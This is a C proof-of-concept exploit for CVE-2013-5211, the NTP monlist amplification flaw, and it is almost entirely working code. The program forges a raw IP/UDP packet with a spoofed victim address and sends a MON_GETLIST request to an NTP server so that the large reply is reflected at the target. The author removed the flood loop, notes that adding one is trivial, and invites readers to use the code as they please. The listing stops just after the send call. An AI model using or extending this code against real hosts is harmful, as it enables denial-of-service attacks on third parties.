NTP ntpd monlist Query Reflection

/*

* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification

* Date: 28/04/2014

* Code Author: Danilo PC - <DaNotKnow@gmail.com>

* CVE : CVE-2013-5211

*/

/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)

* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,

*  if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.

*/

//------------------------------------------------------------------------------------------------//

#include <stdio.h> //For on printf function

#include <string.h> //For memset

#include <sys/socket.h> //Structs and Functions used for sockets operations.

#include <stdlib.h> //For exit function

#include <netinet/ip.h> //Structs for IP header

//Struct for UDP Packet

struct udpheader{

unsigned short int udp_sourcePortNumber;

unsigned short int udp_destinationPortNumber;

unsigned short int udp_length;

unsigned short int udp_checksum;

};

// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler

struct ntpreqheader {

unsigned char rm_vn_mode; /* response, more, version, mode */

unsigned char auth_seq; /* key, sequence number */

unsigned char implementation; /* implementation number */

unsigned char request; /* request number */

unsigned short err_nitems; /* error code/number of data items */

unsigned short mbz_itemsize; /* item size */

char data[40]; /* data area [32 prev](176 byte max) */

unsigned long tstamp; /* time stamp, for authentication */

unsigned int keyid; /* encryption key */

char mac[8]; /* (optional) 8 byte auth code */

};

// Calculates the checksum of the ip header.

unsigned short csum(unsigned short *ptr,int nbytes)

{

register long sum;

unsigned short oddbyte;

register short answer;

sum=0;

while(nbytes>1) {

sum+=*ptr++;

nbytes-=2;

}

if(nbytes==1) {

oddbyte=0;

*((u_char*)&oddbyte)=*(u_char*)ptr;

sum+=oddbyte;

}

sum = (sum>>16)+(sum & 0xffff);

sum = sum + (sum>>16);

answer=(short)~sum;

return(answer);

}

//Da MAIN

int main(int argc, char **argv)

{

int status; // Maintains the return values of the functions

struct iphdr *ip; // Pointer to ip header struct

struct udpheader *udp; // Pointer to udp header struct

struct ntpreqheader *ntp; // Pointer to ntp request header struct

int sockfd; // Maintains the socket file descriptor

int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.

struct sockaddr_in dest; // Maintains the data of the destination address

char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself

// Parameters check

if( argc != 3){

printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");

printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");

printf("Watch it on wireshark!\n");

printf("Coded for education purpose only!\n");

exit(1);

}

// Create a socket and tells the kernel that we want to use udp as layer 4 protocol

sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);

if (sockfd == -1){

printf("Error on initializing the socket\n");

exit(1);

}

//Sets the option IP_HDRINCL

status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);

if (status == -1){

printf("Error on setting the option HDRINCL on socket\n");

exit(1);

}

//"Zeroes" all the packet stack

memset( packet, 0, sizeof(packet) );

//Mounts the packet headers

// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!

ip = (struct iphdr *)packet;

udp = (struct udpheader *) (packet + sizeof(struct iphdr) );

ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );

//Fill the IP Header

ip->version = 4; //IPv4

ip->ihl = 5; //Size of the Ip header, minimum 5

ip->tos = 0; //Type of service, the default value is 0

ip->tot_len = sizeof(packet); //Size of the datagram

ip->id = htons(1234); //LengthIdentification Number

ip->frag_off = 0; //Flags, zero represents reserved

ip->ttl = 255; //Time to Live. Maximum of 255

ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol

ip->check = 0; //Checksum.

ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here)

ip->daddr = inet_addr( argv[2] ); //Destination IP

//Fills the UDP Header

udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port

udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port

udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet

udp->udp_checksum = 0; //Checksum

//Calculate the checksums

ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header

//Sets the destination data

dest.sin_family = AF_INET; // Address Family Ipv4

dest.sin_port = htons (atoi( "123" ) ) ; // Destination port

dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote

//Fills the NTP header

//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST

//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the

// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.

// To learn more, read this: http://searchcode.com/codesearch/view/451164#127

ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7

ntp->implementation=0x03; //Sets the implementation to 3

ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )

//All the other fields of the struct are zeroed

// Sends the packets

status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );

if(status <0){

printf("Failed to send the packets\n");

exit(1);

}